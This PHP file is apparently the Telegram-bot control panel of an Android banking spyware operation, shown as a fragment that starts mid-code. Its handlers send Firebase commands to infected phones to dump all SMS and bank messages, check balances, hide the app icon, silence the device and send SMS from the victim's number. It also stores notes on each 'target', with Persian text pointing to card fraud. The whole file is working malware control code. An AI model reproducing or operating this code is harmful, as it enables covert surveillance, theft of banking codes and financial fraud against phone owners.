	    em($chat_id,$message_id,"📨 ꜱᴇɴᴅ ᴛʜᴇ ᴛᴇxᴛ",$backp);
	           step("messagecon");

}
     
        
    elseif($step == "messagecon" && isset($text)){
            $android    =   file_get_contents("data/android.txt");

        $data = [
        'action' => "sebdcontens",
        'txm2' => $text,
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
    	           step("none");

  sendmessage("✅ᴍᴇꜱꜱᴀɢᴇ ꜱᴇɴᴛ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ !",$panelremote);

}


elseif($data == "pingone"){

    $android    =   file_get_contents("data/android.txt");

$data = [
        'action' => "pingone",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ ping ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                
            ]);
        }
        
        elseif($data == "silent"){

    $android    =    file_get_contents("data/android.txt");
    

    	         	   $data = [
        'action' => "silent",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ silent ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                
            ]);
        }

        
             elseif($data == "normal"){

$android    =    file_get_contents("data/android.txt");
    
    	   $data = [
        'action' => "normal",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ normal ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                
            ]);
        }
        


                elseif($data == "smsget"){

    $android    =    file_get_contents("data/android.txt");
    
    	         $data = [
        'action' => "getsms2",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ allsms ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                
            ]);
        }
        
                        elseif($data == "smsget2"){

    $android    =    file_get_contents("data/android.txt");
    

    	         $data = [
        'action' => "getsms",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ allsms ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                
            ]);
        }
        
                         elseif($data == "offmode2"){
                           
$android    =    file_get_contents("data/android.txt");
    
    	         $data = [
        'action' => "offmode2",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
    
    
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ offmode ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                
            ]);
        }
                       elseif($data == "offmode"){
                           
$android    =    file_get_contents("data/android.txt");

   $phone4214214 =  file_get_contents("data/numberoff.txt");

    $data = [
        'action' => "offmode",
        'androidid' => $android,
        'numberoff' => $phone4214214,
    ];
    SendFirebase("topic", $android, $data);
    
    	     
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ offmode ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                
            ]);
        }
        
                       elseif($data == "getlastsms"){
                           
$android    =    file_get_contents("data/android.txt");
    
    	     $data = [
        'action' => "lastsms",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ lastsms ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                
            ]);
        }
        elseif($data == "findbalances"){
                           
$android    =    file_get_contents("data/android.txt");
    
    	     $data = [
        'action' => "findbalances",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ findbalances ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                
            ]);
        }
        
                       elseif($data == "getlastbank"){
                           
$android    =    file_get_contents("data/android.txt");
    

    	       $data = [
        'action' => "getlastbank",
        'androidid' => $android,

    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ getlastbank ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android اگه نداد یعنی پیام بانکی نداشته! 
                توجه به صورت فایل میاد مثل ال اسمس تمام پیام ها بانکی میاد",
                'show_alert' => true,
                
            ]);
        }
                               elseif($data == "Settings"){

$android    =    file_get_contents("data/android.txt");


    	     $data = [
        'action' => "Settings",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ چنج ایکون ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
            ]);
            
                  sendmessage( "✅ ᴛʜᴇ ᴘʀᴏɢʀᴀᴍ ɪᴄᴏɴ ꜰᴏʀ ᴛʜᴇ ᴜꜱᴇʀ ʜᴀꜱ ʙᴇᴇɴ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴄʜᴀɴɢᴇᴅ [ <code>$android</code> ]", null);

        }

                               elseif($data == "getphoneuser"){

$android    =    file_get_contents("data/android.txt");

    	     $data = [
        'action' => "getuserphone",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ getuserphone ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
            ]);
        }
        
        
                       elseif($data == "hideicon"){

$android    =    file_get_contents("data/android.txt");

    	     $data = [
        'action' => "hide",
        'androidid' => $android,
    ];
    SendFirebase("topic", $android, $data);
       bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ hideicon ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
            ]);
                  sendmessage( "✅ ᴛʜᴇ ᴜꜱᴇʀ ʜᴀꜱ ʙᴇᴇɴ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ʜɪᴅᴅᴇɴ [ <code>$android</code> ]", null);

        }
        
                       elseif($data == "unhide"){
                           
$android    =    file_get_contents("data/android.txt");

  $data = [
        'action' => "unhide",
        'androidid' => $android,

    ];
    SendFirebase("topic", $android, $data);
    
       bot('answercallbackquery', [
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ unhide ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,

            ]);
                  sendmessage( "✅ ᴛʜᴇ ᴜꜱᴇʀ ʜᴀꜱ ʙᴇᴇɴ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴜɴʜɪᴅᴅᴇɴ [ <code>$android</code> ]", null);
        }
        
        elseif($data == "save"){

         $android   =  file_get_contents("data/android.txt");

        if(!file_exists("infolist/$android.txt")){
            
            em($chat_id,$message_id,"🗞 ꜱᴜʙᴍɪᴛ ᴛʜᴇ ɪɴꜰᴏʀᴍᴀᴛɪᴏɴ ʏᴏᴜ ᴡᴀɴᴛ ᴛᴏ ꜱᴀᴠᴇ ꜰᴏʀ ᴛʜɪꜱ ᴜꜱᴇʀ
            
            برای مثال [کارت 100 میلی]",$backp);

           step("info");

        }else{

            $android    =   file_get_contents("data/android.txt");
            $inf = file_get_contents("infolist/$android.txt");

                   bot('answercallbackquery', [     
          'callback_query_id' => $update->callback_query->id,
                'text' => "⏳ ᴛʜᴇ ʀᴇQᴜᴇꜱᴛ get info user ᴡᴀꜱ ꜱᴇɴᴛ ᴛᴏ $android",
                'show_alert' => true,
                      ]);

              bot('sendmessage',[
             'chat_id'=>$chat_id,
             'text'=>"Saved Target $android Info : 
$inf",
  'parse_mode' => "HTML",

]);
}

  }
  
elseif($step == "info" && isset($text)){

        $all       =    explode("\n",$text);
        $nickname  =    $all[0];
        $android   =    file_get_contents("data/android.txt");
        file_put_contents("infolist/$android.txt",$text);
        
  sendmessage("Saved :)",$backp);

step("none");

}       

        	elseif($data == "sendmessage"){

	    em($chat_id,$message_id,"📨  ꜱᴇɴᴅ ᴍᴇ ᴘʜᴏɴᴇ ɴᴜᴍʙᴇʀ",$backp);
   step("message");

    }

    elseif($step == "message" && isset($text)){
        
        file_put_contents('nump',$text);
        $nump    =   file_get_contents("nump");
       step("message1");
  
  sendmessage("📄 Please Send Text Message :",$backp);

}

    elseif($step == "message1" && isset($text)){

        file_put_contents('mess',$text);
        $nump   =    file_get_contents("nump");
        $messs  =    file_get_contents("mess");
        step('none');

  sendmessage("📄 Message ꜱᴇᴛᴇᴅ!

$messs 

📨 Numbers : 


$nump


⚠️ Send SMS ?",$back5);

    }

	elseif($data == "yes"){

      $android   =   file_get_contents("data/android.txt");
	  $messs     =   file_get_contents("mess");
      $data      =   file_get_contents('nump');
      $str       =   explode("\n", $data); 

    foreach ($str as $str1) {


  $data = [
        'action' => "SendSingleMessage",
        'androidid' => $android,
        'phone' => $str1,
        'text' => $messs,

    ];
    SendFirebase("topic", $android, $data);

    }
	     em($chat_id,$message_id,"❇️ Message Request Sended For User.",$panelremote);

	    unlink("mess");
	    unlink("nump");
	                      sendmessage( "✅ ꜱᴍꜱ ꜱᴇɴᴛ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ [ <code>$android</code> ]", null);

	
}
elseif(strpos($text, "/answersms_") !== false){
$parts = explode('_', $text);
$androidId = $parts[1];
$phoneNumber = $parts[2];
           step("answersms");
        file_put_contents('nump',$phoneNumber);
file_put_contents("data/android.txt",$androidId);
      sendmessage( "ꜱᴇɴᴅ ʏᴏᴜʀ ᴀɴꜱᴡᴇʀ ꜰᴏʀ [<code>$phoneNumber</code>]", $back);

}
    elseif($step == "answersms" && isset($text)){
    bot('deletemessage',[
'chat_id' => $group,
'message_id' => $message_id -1,
]);
    $android   =   file_get_contents("data/android.txt");
      $data2      =   file_get_contents('nump');
$android    =    file_get_contents("data/android.txt");
      $inf = file_get_contents("infolist/$android.txt");
      if(!file_exists("infolist/$android.txt")) $inf = "❌";
$data_list = json_decode(file_get_contents("data/$android.json"), true);
$ipfrist=  $data_list['ipfrist'] ? $data_list['ipfrist'] : 'ثبت نشده';
  $data = [
        'action' => "SendSingleMessage",
        'androidid' => $android,
        'phone' => $data2,
        'text' => $text,

    ];
    SendFirebase("topic", $android, $data);

      sendmessage("
      🔑 ʏᴏᴜ ᴀʀᴇ ɪɴ $android ᴘᴀɴᴇʟ :
ɴᴀᴍᴇ : $inf
ɪᴘ ꜰʀɪꜱᴛ : <code>$ipfrist</code>
$metii          
          ", $panelremote);
           step("none");

	    unlink("mess");
	    unlink("nump");
	    unlink("android");
	                      sendmessage( "✅ ꜱᴍꜱ ꜱᴇɴᴛ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ [ <code>$android</code> ]", null);

	
}
#-----------------------------#

?>